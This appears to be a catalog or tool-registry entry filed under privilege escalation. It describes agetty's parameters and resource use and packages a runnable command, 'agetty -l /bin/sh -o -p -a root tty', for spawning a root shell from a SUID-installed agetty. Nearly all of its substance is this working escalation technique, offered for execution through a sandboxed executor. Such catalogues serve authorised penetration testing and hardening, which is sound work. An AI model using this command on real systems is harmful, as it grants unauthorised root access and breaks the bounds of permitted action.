Alternative Linux getty for managing virtual consoles that can spawn a shell when used with SUID.
agetty {l} {o} {p} {a} ๐ l ๐ o ๐ p ๐ a agetty {l} {o} {p} {a} Sandbox: execFile · Timeout: 30s
security.privilege-escalation.shell | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
l | string | No | - | Program to log in (login program) | -l, --login-program |
o | string | No | - | Options to pass to login program | -o, --login-options |
p | string | No | - | Set the -p parameter | -p |
a | string | No | - | Autologin user | -a, --autologin |
Outputs
process.output Shell output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 4 MB |
| Network | low |
| Disk I/O | low |
Spawn a root shell via SUID agetty
agetty -l /bin/sh -o -p -a root tty agetty manages virtual consoles. When installed with SUID, it can spawn a root shell by specifying an alternative login program.
agetty -l /bin/sh -o -p -a root tty